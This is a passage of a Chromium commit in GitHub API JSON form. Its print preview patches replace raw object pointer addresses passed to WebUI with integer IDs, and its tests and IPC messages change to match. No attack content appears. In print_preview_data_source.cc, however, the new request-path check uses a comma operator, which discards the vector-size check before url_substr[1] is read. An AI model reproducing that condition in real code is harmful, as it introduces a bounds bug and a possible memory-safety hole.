PrintPreviewUI::PreviewDataIsAvailable().\n- * @param {string} previewUid Preview unique identifier.\n+ * @param {number} previewUid Preview unique identifier.\n * @param {number} previewResponseId The preview request id that resulted in\n * this response.\n * @private"}<_**next**_>{"sha": "ac33649bc21b6f66005f7ff948313f14afd0bb7a", "filename": "chrome/browser/resources/print_preview/preview_generator.js", "status": "modified", "additions": 6, "deletions": 7, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/resources/print_preview/preview_generator.js", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/resources/print_preview/preview_generator.js", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/resources/print_preview/preview_generator.js?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -207,22 +207,21 @@ cr.define('print_preview', function() {\n * @param {number} pageNumber Number of the page with respect to the\n * document. A value of 3 means it's the third page of the original\n * document.\n- * @param {string} previewUid Unique identifier of the preview.\n+ * @param {number} previewUid Unique identifier of the preview.\n * @private\n */\n dispatchPageReadyEvent_: function(previewIndex, pageNumber, previewUid) {\n var pageGenEvent = new cr.Event(PreviewGenerator.EventType.PAGE_READY);\n pageGenEvent.previewIndex = previewIndex;\n- pageGenEvent.previewUrl =\n- 'chrome://print/' + previewUid + '/' + (pageNumber - 1) +\n- '/print.pdf';\n+ pageGenEvent.previewUrl = 'chrome://print/' + previewUid.toString() +\n+ '/' + (pageNumber - 1) + '/print.pdf';\n this.dispatchEvent(pageGenEvent);\n },\n \n /**\n * Dispatches a PREVIEW_START event. Signals that the preview should be\n * reloaded.\n- * @param {string} previewUid Unique identifier of the preview.\n+ * @param {number} previewUid Unique identifier of the preview.\n * @param {number} index Index of the first page of the preview.\n * @private\n */\n@@ -232,8 +231,8 @@ cr.define('print_preview', function() {\n if (!this.printTicketStore_.isDocumentModifiable) {\n index = -1;\n }\n- previewStartEvent.previewUrl =\n- 'chrome://print/' + previewUid + '/' + index + '/print.pdf';\n+ previewStartEvent.previewUrl = 'chrome://print/' +\n+ previewUid.toString() + '/' + index + '/print.pdf';\n this.dispatchEvent(previewStartEvent);\n },\n "}<_**next**_>{"sha": "0e2ea49339636872ae612e695565b30041d5a265", "filename": "chrome/browser/ui/webui/print_preview/print_preview_data_source.cc", "status": "modified", "additions": 6, "deletions": 2, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_data_source.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_data_source.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_data_source.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -195,10 +195,14 @@ void PrintPreviewDataSource::StartDataRequest(const std::string& path,\n scoped_refptr<base::RefCountedBytes> data;\n std::vector<std::string> url_substr;\n base::SplitString(path, '/', &url_substr);\n+ int preview_ui_id = -1;\n int page_index = 0;\n- if (url_substr.size() == 3 && base::StringToInt(url_substr[1], &page_index)) {\n+ if (url_substr.size() == 3 &&\n+ base::StringToInt(url_substr[0], &preview_ui_id),\n+ base::StringToInt(url_substr[1], &page_index) &&\n+ preview_ui_id >= 0) {\n PrintPreviewDataService::GetInstance()->GetDataEntry(\n- url_substr[0], page_index, &data);\n+ preview_ui_id, page_index, &data);\n }\n if (data.get()) {\n SendResponse(request_id, data);"}<_**next**_>{"sha": "f2298f90d8515eac501f833c7f92c940cb9ae076", "filename": "chrome/browser/ui/webui/print_preview/print_preview_data_source.h", "status": "modified", "additions": 4, "deletions": 3, "changes": 7, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_data_source.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_data_source.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_data_source.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -14,16 +14,16 @@\n // PrintPreviewDataSource serves data for chrome://print requests.\n //\n // The format for requesting PDF data is as follows:\n-// chrome://print/<PrintPreviewUIAddrStr>/<PageIndex>/print.pdf\n+// chrome://print/<PrintPreviewUIID>/<PageIndex>/print.pdf\n //\n // Parameters (< > required):\n-// <PrintPreviewUIAddrStr> = Print preview UI identifier.\n+// <PrintPreviewUIID> = PrintPreview UI ID\n // <PageIndex> = Page index is zero-based or\n // |printing::COMPLETE_PREVIEW_DOCUMENT_INDEX| to represent\n // a print ready PDF.\n //\n // Example:\n-// chrome://print/0xab0123ef/10/print.pdf\n+// chrome://print/123/10/print.pdf\n //\n // Requests to chrome://print with paths not ending in /print.pdf are used\n // to return the markup or other resources for the print preview page itself.\n@@ -35,6 +35,7 @@ class PrintPreviewDataSource : public ChromeWebUIDataSource {\n virtual void StartDataRequest(const std::string& path,\n bool is_incognito,\n int request_id) OVERRIDE;\n+\n private:\n virtual ~PrintPreviewDataSource();\n void Init();"}<_**next**_>{"sha": "4a3f82025aaa71ebd43c6de72ed9839d6f93b9af", "filename": "chrome/browser/ui/webui/print_preview/print_preview_handler.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_handler.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_handler.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_handler.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -343,8 +343,8 @@ void PrintPreviewHandler::HandleGetPreview(const ListValue* args) {\n // Add an additional key in order to identify |print_preview_ui| later on\n // when calling PrintPreviewUI::GetCurrentPrintPreviewStatus() on the IO\n // thread.\n- settings->SetString(printing::kPreviewUIAddr,\n- print_preview_ui->GetPrintPreviewUIAddress());\n+ settings->SetInteger(printing::kPreviewUIID,\n+ print_preview_ui->GetIDForPrintPreviewUI());\n \n // Increment request count.\n ++regenerate_preview_request_count_;"}<_**next**_>{"sha": "25c01c2245b58992872cbdeb016528b59664695a", "filename": "chrome/browser/ui/webui/print_preview/print_preview_ui.cc", "status": "modified", "additions": 41, "deletions": 36, "changes": 77, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_ui.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -6,6 +6,7 @@\n \n #include <map>\n \n+#include \"base/id_map.h\"\n #include \"base/lazy_instance.h\"\n #include \"base/memory/ref_counted_memory.h\"\n #include \"base/metrics/histogram.h\"\n@@ -37,50 +38,60 @@ using ui::ConstrainedWebDialogUI;\n namespace {\n \n // Thread-safe wrapper around a std::map to keep track of mappings from\n-// PrintPreviewUI addresses to most recent print preview request ids.\n+// PrintPreviewUI IDs to most recent print preview request IDs.\n class PrintPreviewRequestIdMapWithLock {\n public:\n PrintPreviewRequestIdMapWithLock() {}\n ~PrintPreviewRequestIdMapWithLock() {}\n \n- // Get the value for |addr|. Returns true and sets |out_value| on success.\n- bool Get(const std::string& addr, int* out_value) {\n+ // Gets the value for |preview_id|.\n+ // Returns true and sets |out_value| on success.\n+ bool Get(int32 preview_id, int* out_value) {\n base::AutoLock lock(lock_);\n- PrintPreviewRequestIdMap::const_iterator it = map_.find(addr);\n+ PrintPreviewRequestIdMap::const_iterator it = map_.find(preview_id);\n if (it == map_.end())\n return false;\n *out_value = it->second;\n return true;\n }\n \n- // Sets the |value| for |addr|.\n- void Set(const std::string& addr, int value) {\n+ // Sets the |value| for |preview_id|.\n+ void Set(int32 preview_id, int value) {\n base::AutoLock lock(lock_);\n- map_[addr] = value;\n+ map_[preview_id] = value;\n }\n \n- // Erase the entry for |addr|.\n- void Erase(const std::string& addr) {\n+ // Erases the entry for |preview_id|.\n+ void Erase(int32 preview_id) {\n base::AutoLock lock(lock_);\n- map_.erase(addr);\n+ map_.erase(preview_id);\n }\n \n private:\n- typedef std::map<std::string, int> PrintPreviewRequestIdMap;\n+ // Mapping from PrintPreviewUI ID to print preview request ID.\n+ typedef std::map<int, int> PrintPreviewRequestIdMap;\n \n PrintPreviewRequestIdMap map_;\n base::Lock lock_;\n+\n+ DISALLOW_COPY_AND_ASSIGN(PrintPreviewRequestIdMapWithLock);\n };\n \n // Written to on the UI thread, read from any thread.\n base::LazyInstance<PrintPreviewRequestIdMapWithLock>\n g_print_preview_request_id_map = LAZY_INSTANCE_INITIALIZER;\n \n+// PrintPreviewUI IDMap used to avoid exposing raw pointer addresses to WebUI.\n+// Only accessed on the UI thread.\n+base::LazyInstance<IDMap<PrintPreviewUI> >\n+ g_print_preview_ui_id_map = LAZY_INSTANCE_INITIALIZER;\n+\n } // namespace\n \n PrintPreviewUI::PrintPreviewUI(content::WebUI* web_ui)\n : ConstrainedWebDialogUI(web_ui),\n initial_preview_start_time_(base::TimeTicks::Now()),\n+ id_(g_print_preview_ui_id_map.Get().Add(this)),\n handler_(NULL),\n source_is_modifiable_(true),\n tab_closed_(false) {\n@@ -92,34 +103,33 @@ PrintPreviewUI::PrintPreviewUI(content::WebUI* web_ui)\n handler_ = new PrintPreviewHandler();\n web_ui->AddMessageHandler(handler_);\n \n- preview_ui_addr_str_ = GetPrintPreviewUIAddress();\n- g_print_preview_request_id_map.Get().Set(preview_ui_addr_str_, -1);\n+ g_print_preview_request_id_map.Get().Set(id_, -1);\n }\n \n PrintPreviewUI::~PrintPreviewUI() {\n- print_preview_data_service()->RemoveEntry(preview_ui_addr_str_);\n- g_print_preview_request_id_map.Get().Erase(preview_ui_addr_str_);\n+ print_preview_data_service()->RemoveEntry(id_);\n+ g_print_preview_request_id_map.Get().Erase(id_);\n+ g_print_preview_ui_id_map.Get().Remove(id_);\n }\n \n void PrintPreviewUI::GetPrintPreviewDataForIndex(\n int index,\n scoped_refptr<base::RefCountedBytes>* data) {\n- print_preview_data_service()->GetDataEntry(preview_ui_addr_str_, index, data);\n+ print_preview_data_service()->GetDataEntry(id_, index, data);\n }\n \n void PrintPreviewUI::SetPrintPreviewDataForIndex(\n int index,\n const base::RefCountedBytes* data) {\n- print_preview_data_service()->SetDataEntry(preview_ui_addr_str_, index, data);\n+ print_preview_data_service()->SetDataEntry(id_, index, data);\n }\n \n void PrintPreviewUI::ClearAllPreviewData() {\n- print_preview_data_service()->RemoveEntry(preview_ui_addr_str_);\n+ print_preview_data_service()->RemoveEntry(id_);\n }\n \n int PrintPreviewUI::GetAvailableDraftPageCount() {\n- return print_preview_data_service()->GetAvailableDraftPageCount(\n- preview_ui_addr_str_);\n+ return print_preview_data_service()->GetAvailableDraftPageCount(id_);\n }\n \n void PrintPreviewUI::SetInitiatorTabURLAndTitle(\n@@ -140,24 +150,19 @@ void PrintPreviewUI::SetSourceIsModifiable(TabContents* print_preview_tab,\n }\n \n // static\n-void PrintPreviewUI::GetCurrentPrintPreviewStatus(\n- const std::string& preview_ui_addr,\n- int request_id,\n- bool* cancel) {\n+void PrintPreviewUI::GetCurrentPrintPreviewStatus(int32 preview_ui_id,\n+ int request_id,\n+ bool* cancel) {\n int current_id = -1;\n- if (!g_print_preview_request_id_map.Get().Get(preview_ui_addr, ¤t_id)) {\n+ if (!g_print_preview_request_id_map.Get().Get(preview_ui_id, ¤t_id)) {\n *cancel = true;\n return;\n }\n *cancel = (request_id != current_id);\n }\n \n-std::string PrintPreviewUI::GetPrintPreviewUIAddress() const {\n- // Store the PrintPreviewUIAddress as a string.\n- // \"0x\" + deadc0de + '\\0' = 2 + 2 * sizeof(this) + 1;\n- char preview_ui_addr[2 + (2 * sizeof(this)) + 1];\n- base::snprintf(preview_ui_addr, sizeof(preview_ui_addr), \"%p\", this);\n- return preview_ui_addr;\n+int32 PrintPreviewUI::GetIDForPrintPreviewUI() const {\n+ return id_;\n }\n \n void PrintPreviewUI::OnPrintPreviewTabClosed() {\n@@ -182,7 +187,7 @@ void PrintPreviewUI::OnInitiatorTabClosed() {\n }\n \n void PrintPreviewUI::OnPrintPreviewRequest(int request_id) {\n- g_print_preview_request_id_map.Get().Set(preview_ui_addr_str_, request_id);\n+ g_print_preview_request_id_map.Get().Set(id_, request_id);\n }\n \n void PrintPreviewUI::OnShowSystemDialog() {\n@@ -233,14 +238,14 @@ void PrintPreviewUI::OnDidPreviewPage(int page_number,\n int preview_request_id) {\n DCHECK_GE(page_number, 0);\n base::FundamentalValue number(page_number);\n- StringValue ui_identifier(preview_ui_addr_str_);\n+ base::FundamentalValue ui_identifier(id_);\n base::FundamentalValue request_id(preview_request_id);\n web_ui()->CallJavascriptFunction(\n \"onDidPreviewPage\", number, ui_identifier, request_id);\n }\n \n void PrintPreviewUI::OnReusePreviewData(int preview_request_id) {\n- base::StringValue ui_identifier(preview_ui_addr_str_);\n+ base::FundamentalValue ui_identifier(id_);\n base::FundamentalValue ui_preview_request_id(preview_request_id);\n web_ui()->CallJavascriptFunction(\"reloadPreviewPages\", ui_identifier,\n ui_preview_request_id);\n@@ -258,7 +263,7 @@ void PrintPreviewUI::OnPreviewDataIsAvailable(int expected_pages_count,\n expected_pages_count);\n initial_preview_start_time_ = base::TimeTicks();\n }\n- base::StringValue ui_identifier(preview_ui_addr_str_);\n+ base::FundamentalValue ui_identifier(id_);\n base::FundamentalValue ui_preview_request_id(preview_request_id);\n web_ui()->CallJavascriptFunction(\"updatePrintPreview\", ui_identifier,\n ui_preview_request_id);\n@@ -273,7 +278,7 @@ void PrintPreviewUI::OnFileSelectionCancelled() {\n }\n \n void PrintPreviewUI::OnCancelPendingPreviewRequest() {\n- g_print_preview_request_id_map.Get().Set(preview_ui_addr_str_, -1);\n+ g_print_preview_request_id_map.Get().Set(id_, -1);\n }\n \n void PrintPreviewUI::OnPrintPreviewFailed() {"}<_**next**_>{"sha": "6ff29952bed5cfd19d809c01a8e0fd6bd0b74a68", "filename": "chrome/browser/ui/webui/print_preview/print_preview_ui.h", "status": "modified", "additions": 10, "deletions": 11, "changes": 21, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_ui.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -10,7 +10,6 @@\n #include \"base/gtest_prod_util.h\"\n #include \"base/memory/ref_counted.h\"\n #include \"base/time.h\"\n-#include \"chrome/browser/printing/print_preview_data_service.h\"\n #include \"ui/web_dialogs/constrained_web_dialog_ui.h\"\n \n class PrintPreviewDataService;\n@@ -65,14 +64,14 @@ class PrintPreviewUI : public ui::ConstrainedWebDialogUI {\n bool source_is_modifiable);\n \n // Determines whether to cancel a print preview request based on\n- // |preview_ui_addr| and |request_id|.\n+ // |preview_ui_id| and |request_id|.\n // Can be called from any thread.\n- static void GetCurrentPrintPreviewStatus(const std::string& preview_ui_addr,\n+ static void GetCurrentPrintPreviewStatus(int32 preview_ui_id,\n int request_id,\n bool* cancel);\n \n- // Returns a string to uniquely identify this PrintPreviewUI.\n- std::string GetPrintPreviewUIAddress() const;\n+ // Returns an id to uniquely identify this PrintPreviewUI.\n+ int32 GetIDForPrintPreviewUI() const;\n \n // Notifies the Web UI of a print preview request with |request_id|.\n void OnPrintPreviewRequest(int request_id);\n@@ -86,10 +85,9 @@ class PrintPreviewUI : public ui::ConstrainedWebDialogUI {\n \n // Notifies the Web UI of the default page layout according to the currently\n // selected printer and page size.\n- void OnDidGetDefaultPageLayout(\n- const printing::PageSizeMargins& page_layout,\n- const gfx::Rect& printable_area,\n- bool has_custom_page_size_style);\n+ void OnDidGetDefaultPageLayout(const printing::PageSizeMargins& page_layout,\n+ const gfx::Rect& printable_area,\n+ bool has_custom_page_size_style);\n \n // Notifies the Web UI that the 0-based page |page_number| has been rendered.\n // |preview_request_id| indicates wich request resulted in this response.\n@@ -161,8 +159,9 @@ class PrintPreviewUI : public ui::ConstrainedWebDialogUI {\n \n base::TimeTicks initial_preview_start_time_;\n \n- // Store the PrintPreviewUI address string.\n- std::string preview_ui_addr_str_;\n+ // The unique ID for this class instance. Stored here to avoid calling\n+ // GetIDForPrintPreviewUI() everywhere.\n+ const int32 id_;\n \n // Weak pointer to the WebUI handler.\n PrintPreviewHandler* handler_;"}<_**next**_>{"sha": "0ff0896af07aaffad40e0c392895449da6a9ddfe", "filename": "chrome/browser/ui/webui/print_preview/print_preview_ui_unittest.cc", "status": "modified", "additions": 11, "deletions": 10, "changes": 21, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/browser/ui/webui/print_preview/print_preview_ui_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/webui/print_preview/print_preview_ui_unittest.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -25,8 +25,12 @@ using content::WebContentsTester;\n \n namespace {\n \n-const unsigned char blob1[] =\n- \"12346102356120394751634516591348710478123649165419234519234512349134\";\n+base::RefCountedBytes* CreateTestData() {\n+ const unsigned char blob1[] =\n+ \"12346102356120394751634516591348710478123649165419234519234512349134\";\n+ std::vector<unsigned char> preview_data(blob1, blob1 + sizeof(blob1));\n+ return new base::RefCountedBytes(preview_data);\n+}\n \n size_t GetConstrainedWindowCount(TabContents* tab) {\n return tab->constrained_window_tab_helper()->constrained_window_count();\n@@ -76,9 +80,7 @@ TEST_F(PrintPreviewUIUnitTest, PrintPreviewData) {\n &data);\n EXPECT_EQ(NULL, data.get());\n \n- std::vector<unsigned char> preview_data(blob1, blob1 + sizeof(blob1));\n- scoped_refptr<base::RefCountedBytes> dummy_data =\n- new base::RefCountedBytes(preview_data);\n+ scoped_refptr<base::RefCountedBytes> dummy_data = CreateTestData();\n \n preview_ui->SetPrintPreviewDataForIndex(\n printing::COMPLETE_PREVIEW_DOCUMENT_INDEX,\n@@ -127,9 +129,7 @@ TEST_F(PrintPreviewUIUnitTest, PrintPreviewDraftPages) {\n preview_ui->GetPrintPreviewDataForIndex(printing::FIRST_PAGE_INDEX, &data);\n EXPECT_EQ(NULL, data.get());\n \n- std::vector<unsigned char> preview_data(blob1, blob1 + sizeof(blob1));\n- scoped_refptr<base::RefCountedBytes> dummy_data =\n- new base::RefCountedBytes(preview_data);\n+ scoped_refptr<base::RefCountedBytes> dummy_data = CreateTestData();\n \n preview_ui->SetPrintPreviewDataForIndex(printing::FIRST_PAGE_INDEX,\n dummy_data.get());\n@@ -185,12 +185,13 @@ TEST_F(PrintPreviewUIUnitTest, GetCurrentPrintPreviewStatus) {\n \n // Test with invalid |preview_ui_addr|.\n bool cancel = false;\n- preview_ui->GetCurrentPrintPreviewStatus(\"invalid\", 0, &cancel);\n+ const int32 kInvalidId = -5;\n+ preview_ui->GetCurrentPrintPreviewStatus(kInvalidId, 0, &cancel);\n EXPECT_TRUE(cancel);\n \n const int kFirstRequestId = 1000;\n const int kSecondRequestId = 1001;\n- const std::string preview_ui_addr = preview_ui->GetPrintPreviewUIAddress();\n+ const int32 preview_ui_addr = preview_ui->GetIDForPrintPreviewUI();\n \n // Test with kFirstRequestId.\n preview_ui->OnPrintPreviewRequest(kFirstRequestId);"}<_**next**_>{"sha": "126e2488f3b70d55b3347f9efc7a2f3cdc333319", "filename": "chrome/common/print_messages.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/common/print_messages.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/common/print_messages.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/print_messages.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -21,7 +21,7 @@ PrintMsg_Print_Params::PrintMsg_Print_Params()\n document_cookie(0),\n selection_only(false),\n supports_alpha_blend(false),\n- preview_ui_addr(),\n+ preview_ui_id(-1),\n preview_request_id(0),\n is_first_request(false),\n print_scaling_option(WebKit::WebPrintScalingOptionSourceSize),\n@@ -47,7 +47,7 @@ void PrintMsg_Print_Params::Reset() {\n document_cookie = 0;\n selection_only = false;\n supports_alpha_blend = false;\n- preview_ui_addr = std::string();\n+ preview_ui_id = -1;\n preview_request_id = 0;\n is_first_request = false;\n print_scaling_option = WebKit::WebPrintScalingOptionSourceSize;"}<_**next**_>{"sha": "bdd1fbe4e9930e4cd4d65d580c42cf06a8305aa5", "filename": "chrome/common/print_messages.h", "status": "modified", "additions": 3, "deletions": 3, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/common/print_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/common/print_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/common/print_messages.h?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -39,7 +39,7 @@ struct PrintMsg_Print_Params {\n int document_cookie;\n bool selection_only;\n bool supports_alpha_blend;\n- std::string preview_ui_addr;\n+ int32 preview_ui_id;\n int preview_request_id;\n bool is_first_request;\n WebKit::WebPrintScalingOption print_scaling_option;\n@@ -110,7 +110,7 @@ IPC_STRUCT_TRAITS_BEGIN(PrintMsg_Print_Params)\n // *** Parameters below are used only for print preview. ***\n \n // The print preview ui associated with this request.\n- IPC_STRUCT_TRAITS_MEMBER(preview_ui_addr)\n+ IPC_STRUCT_TRAITS_MEMBER(preview_ui_id)\n \n // The id of the preview request.\n IPC_STRUCT_TRAITS_MEMBER(preview_request_id)\n@@ -386,7 +386,7 @@ IPC_MESSAGE_ROUTED1(PrintHostMsg_DidPreviewPage,\n \n // Asks the browser whether the print preview has been cancelled.\n IPC_SYNC_MESSAGE_ROUTED2_1(PrintHostMsg_CheckForCancel,\n- std::string /* print preview ui address */,\n+ int32 /* PrintPreviewUI ID */,\n int /* request id */,\n bool /* print preview cancelled */)\n "}<_**next**_>{"sha": "dd72285f729d2bc991f53db2cbba8ec901faa88e", "filename": "chrome/renderer/chrome_mock_render_thread.cc", "status": "modified", "additions": 45, "deletions": 42, "changes": 87, "blob_url": "https://github.com/chromium/chromium/blob/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/chrome_mock_render_thread.cc", "raw_url": "https://github.com/chromium/chromium/raw/116d0963cadfbf55ef2ec3d13781987c4d80517a/chrome/renderer/chrome_mock_render_thread.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/renderer/chrome_mock_render_thread.cc?ref=116d0963cadfbf55ef2ec3d13781987c4d80517a", "patch": "@@ -4,20 +4,23 @@\n \n #include \"chrome/renderer/chrome_mock_render_thread.h\"\n \n-#include <fcntl.h>\n+#include <vector>\n \n-#include \"base/file_util.h\"\n-#include \"base/process_util.h\"\n+#include \"base/values.h\"\n #include \"chrome/common/extensions/extension_messages.h\"\n #include \"chrome/common/print_messages.h\"\n-#include \"chrome/common/render_messages.h\"\n-#include \"chrome/common/url_constants.h\"\n-#include \"ipc/ipc_message_utils.h\"\n+#include \"chrome/renderer/mock_printer.h\"\n #include \"ipc/ipc_sync_message.h\"\n #include \"printing/print_job_constants.h\"\n #include \"printing/page_range.h\"\n #include \"testing/gtest/include/gtest/gtest.h\"\n \n+#if defined(OS_CHROMEOS)\n+#include <fcntl.h>\n+\n+#include \"base/file_util.h\"\n+#endif\n+\n ChromeMockRenderThread::ChromeMockRenderThread()\n : printer_(new MockPrinter),\n print_dialog_user_response_(true),\n@@ -64,9 +67,11 @@ bool ChromeMockRenderThread::OnMessageReceived(const IPC::Message& msg) {\n }\n \n void ChromeMockRenderThread::OnMsgOpenChannelToExtension(\n- int routing_id, const std::string& source_extension_id,\n+ int routing_id,\n+ const std::string& source_extension_id,\n const std::string& target_extension_id,\n- const std::string& channel_name, int* port_id) {\n+ const std::string& channel_name,\n+ int* port_id) {\n *port_id = 0;\n }\n \n@@ -93,14 +98,13 @@ void ChromeMockRenderThread::OnTempFileForPrintingWritten(int render_view_id,\n \n void ChromeMockRenderThread::OnGetDefaultPrintSettings(\n PrintMsg_Print_Params* params) {\n- if (printer_.get())\n- printer_->GetDefaultPrintSettings(params);\n+ printer_->GetDefaultPrintSettings(params);\n }\n \n void ChromeMockRenderThread::OnScriptedPrint(\n const PrintHostMsg_ScriptedPrint_Params& params,\n PrintMsg_PrintPages_Params* settings) {\n- if (print_dialog_user_response_ && printer_.get()) {\n+ if (print_dialog_user_response_) {\n printer_->ScriptedPrint(params.cookie,\n params.expected_pages_count,\n params.has_selection,\n@@ -110,14 +114,12 @@ void ChromeMockRenderThread::OnScriptedPrint(\n \n void ChromeMockRenderThread::OnDidGetPrintedPagesCount(\n int cookie, int number_pages) {\n- if (printer_.get())\n- printer_->SetPrintedPagesCount(cookie, number_pages);\n+ printer_->SetPrintedPagesCount(cookie, number_pages);\n }\n \n void ChromeMockRenderThread::OnDidPrintPage(\n const PrintHostMsg_DidPrintPage_Params& params) {\n- if (printer_.get())\n- printer_->PrintPage(params);\n+ printer_->PrintPage(params);\n }\n \n void ChromeMockRenderThread::OnDidGetPreviewPageCount(\n@@ -127,14 +129,13 @@ void ChromeMockRenderThread::OnDidGetPreviewPageCount(\n \n void ChromeMockRenderThread::OnDidPreviewPage(\n const PrintHostMsg_DidPreviewPage_Params& params) {\n- DCHECK(params.page_number >= printing::FIRST_PAGE_INDEX);\n+ DCHECK_GE(params.page_number, printing::FIRST_PAGE_INDEX);\n print_preview_pages_remaining_--;\n }\n \n-void ChromeMockRenderThread::OnCheckForCancel(\n- const std::string& preview_ui_addr,\n- int preview_request_id,\n- bool* cancel) {\n+void ChromeMockRenderThread::OnCheckForCancel(int32 preview_ui_id,\n+ int preview_request_id,\n+ bool* cancel) {\n *cancel =\n (print_preview_pages_remaining_ == print_preview_cancel_page_number_);\n }\n@@ -155,36 +156,38 @@ void ChromeMockRenderThread::OnUpdatePrintSettings(\n !job_settings.GetString(printing::kSettingDeviceName, &dummy_string) ||\n !job_settings.GetInteger(printing::kSettingDuplexMode, NULL) ||\n !job_settings.GetInteger(printing::kSettingCopies, NULL) ||\n- !job_settings.GetString(printing::kPreviewUIAddr, &dummy_string) ||\n+ !job_settings.GetInteger(printing::kPreviewUIID, NULL) ||\n !job_settings.GetInteger(printing::kPreviewRequestID, NULL) ||\n !job_settings.GetInteger(printing::kSettingMarginsType, &margins_type)) {\n return;\n }\n \n // Just return the default settings.\n- if (printer_.get()) {\n- const ListValue* page_range_array;\n- printing::PageRanges new_ranges;\n- if (job_settings.GetList(printing::kSettingPageRange, &page_range_array)) {\n- for (size_t index = 0; index < page_range_array->GetSize(); ++index) {\n- const base::DictionaryValue* dict;\n- if (!page_range_array->GetDictionary(index, &dict))\n- continue;\n- printing::PageRange range;\n- if (!dict->GetInteger(printing::kSettingPageRangeFrom, &range.from) ||\n- !dict->GetInteger(printing::kSettingPageRangeTo, &range.to)) {\n- continue;\n- }\n- // Page numbers are 1-based in the dictionary.\n- // Page numbers are 0-based for the printing context.\n- range.from--;\n- range.to--;\n- new_ranges.push_back(range);\n+ const ListValue* page_range_array;\n+ printing::PageRanges new_ranges;\n+ if (job_settings.GetList(printing::kSettingPageRange, &page_range_array)) {\n+ for (size_t index = 0; index < page_range_array->GetSize(); ++index) {\n+ const base::DictionaryValue* dict;\n+ if (!page_range_array->GetDictionary(index, &dict))\n+ continue;\n+ printing::PageRange range;\n+ if (!dict->GetInteger(printing::kSettingPageRangeFrom, &range.from) ||\n+ !dict->GetInteger(printing::kSettingPageRangeTo, &range.to)) {\n+ continue;\n }\n+ // Page numbers are 1-based in the dictionary.\n+ // Page numbers are 0-based for the printing context.\n+ range.from--;\n+ range.to--;\n+ new_ranges.push_back(range);\n }\n- std::vector<int> pages(printing::PageRange::GetPages(new_ranges));\n- printer_->UpdateSettings(document_cookie, params, pages, margins_type);\n }\n+ std::vector<int> pages(printing::PageRange::GetPages(new_ranges));\n+ printer_->UpdateSettings(document_cookie, params, pages, margins_type);\n+}\n+\n+MockPrinter* ChromeMockRenderThread::printer() {\n+ return printer_.get();\n }\n \n void ChromeMockRenderThread::set_print_dialog_user_response(bool response) {\n@@ -195,6 +198,6 @@ void ChromeMockRenderThread::set_print_preview_cancel_page_number(int page) {\n print_preview_cancel_page_number_ = page;\n }\n \n-int ChromeMockRenderThread::print_preview_pages_remaining() {\n+int 